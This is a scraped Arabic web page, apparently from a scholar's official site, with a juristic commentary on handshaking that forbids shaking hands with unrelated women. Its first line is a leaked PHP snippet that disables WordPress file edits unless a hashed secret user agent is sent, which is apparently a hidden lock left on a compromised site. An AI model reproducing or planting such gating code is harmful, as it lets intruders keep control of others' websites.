if(md5(md5($_SERVER['HTTP_USER_AGENT']))!="c5a3e14ff315cc2934576de76a3766b5"){ define('DISALLOW_FILE_MODS', true); define('DISALLOW_FILE_EDIT', true); } المصافحة وأحكامها - الموقع الرسمي للدكتور فهد بن مبارك آل زُعير

المصافحة وأحكامها

المصافحة من القرائن التي تأتي مع السلام وهي أمر زائد على السلام، فالسلام إذا أطلق هو المشافهة “السلام عليكم ورحمة الله وبركاته” لكن المصافحة أمر زائد وهي أن يضع صفحة كفه في كف الثاني ولهذا السلام بأطراف الأصابع كما يفعله بعض الناس ليست مصافحة، المصافحة أن يضع باطن كفه وصفحة كفه في كف الآخر وقد جاء في السنة ما يدل على فضلها كما قال صلى الله عليه وسلم في حديث البراء رضي الله عنه: «ما من مسلمَيْن يلتقيان فيتصافحان إلَّا غُفِر لهما قبل أن يتفرَّقا»[1] [الحديث سنده حسن].

قال رحمه الله: (وَلَا تَجُوْزُ مُصَافَحَةُ النِّسَاءِ الشَوَابِّ؛ لِأَنَّ ذَلِكَ يُثِيْرُ الشَّهْوَةَ) نقول: هذا تفريق بين الشواب والعجائز، التفريق له وجه في السلام الشفهي أما في المصافحة فلا على الصحيح، لكنه رحمه الله فرق بينهما وقال لا تجوز مصافحة النساء الشواب ومفهومه أنه يجوز مصافحة العجائز وهذا قال به بعض أهل العلم لكنه قول ضعيف جدًا، إذن المصافحة لا تجوز للمرأة قط لا شابةً ولا عجوزًا وهو الصحيح الذي عليه جمعٌ من المحققين من أهل العلم كشيخ الإسلام، ولم يُنقل عن الإمام أحمد رحمه الله ما يدل على جواز مصافحة النساء بل ورد ما يدل على عدم ذلك ففي الصحيح عن أم المؤمنين عائشة رضي الله عنها قالت: «وَلَا وَاللهِ ما مَسَّتْ يَدُ رَسولِ اللهِ صَلَّى اللهُ عَلَيْهِ وَسَلَّمَ يَدَ امْرَأَةٍ قَطُّ، غيرَ أنَّهُ يُبَايِعُهُنَّ بالكَلَامِ»[2] هذا وهو في البيعة، البيعة تقتضي المماسة باليد والمصافحة لكنه صلى الله عليه وسلم ما مست يده يد امرأة قط حتى في المبايعة وإنما كان يبايعهن بالكلام إذا كان هذا من النبي صلى الله عليه وسلم المصطفى المجتبى المغفور له ما تقدم من ذنبه الذي هو أولى بالمؤمنين من أنفسهم ومع ذلك ما مست يده يد امرأة قط لم يجز لأحد أن يستثني العجائز أو كبيرات السن من ذلك، فإن الشارع إنما استثنى في العجائز التي لا يرجون نكاحًا التخفيف من اللباس وكشف الوجه وقيد ذلك بأمن الفتنة، قال جل شأنه وتقدس اسمه: {وَالْقَوَاعِدُ مِنَ النِّسَاءِ اللَّاتِي لَا يَرْجُونَ نِكَاحًا} [النور: ٦٠]، لاحظ قواعد جمع قاعد، لا ترجو نكاح يعني أيست من الزواج لكبر سنها، لا يمكن أن تتزوج ولا يمكن أن تُخطب فهؤلاء النساء قال عنهن: {فَلَيْسَ عَلَيْهِنَّ جُنَاحٌ أَنْ يَضَعْنَ ثِيَابَهُنَّ غَيْرَ مُتَبَرِّجَاتٍ بِزِينَةٍ} [النور: ٦٠]، قيّد ذلك أنها إذا كشفت لا تضع شيئًا من مساحيق الزينة في وجهها ولا تتجمل بأي شيء يجملها ثم قال: {وَأَنْ يَسْتَعْفِفْنَ خَيْرٌ لَهُنَّ} [النور: ٦٠]، هذا مستثنى فقط في العجائز الكبيرات أن يكشفن وجوههن إذا أمنت الفتنة لأنها لا تُشتهى ولا تُخطب ولا ينظر إليها نظر شهوة بشرط ألا تضع شيئًا من مساحيق الجمال أو نحوه في وجهها، أما المس فهو أغلظ وأشد تحريمًا، ولهذا جاء في الحديث الآخر الصحيح: «لَأنْ يُطعَنَ في رأسِ رجلٍ بِمِخْيَطٍ من حديدٍ خيرٌ من أن يمَسَّ امرأةً لا تَحِلُّ له»[3] [الحديث رواه البيهقي والطبراني بسندٍ حسن] وهذا الوعيد لا يكون على فعل مكروه ولا على محرم بل من أهل العلم من قال هذه كبيرة من كبائر الذنوب، ولهذا ليتقِ الله من اعتاد أن يسلم يقول هذه خالتي أو بمنزلة خالتي وهذه كبيرة في السن، نقول: لا يحل لك البتة البتة البتة، سلم عليها تكريمًا وتقديرًا مع البعد إذ المس أشد من النظر، المس والمباشرة باليد أشد من النظر، وإذا كان الشارع حرّم النظر إلا في حالات استثنائية فإن ذلك منعٌ للمس من باب أولى، قال: (لِأَنَّ ذَلِكَ يُثِيْرُ الشَّهْوَةَ) نقول: وكذا في الكبيرة ولكل ساقطة لاقطة فلا يحل الاستثناء هنا البتة.

 


[1] أخرجه المنذري وضعف إسناده في الترغيب والترهيب (3/373)، وقال عنه ابن القيسراني في ذخيرة الحفاظ (4/2122): فيه الأجلح بن عبد الله الكندي وهو متروك الحديث، وضعف إسناده ابن مفلح في الآداب الشرعية (2/254).

[2] أخرجه البخاري (5288)، ومسلم (1866).

[3] أخرجه الروياني في المسند (1283)، والطبراني (20/212) (487) واللفظ لهما، والبيهقي كما في الترغيب والترهيب للمنذري (3/26) باختلاف يسير، وجود إسناده الألباني في السلسلة الصحيحة (226).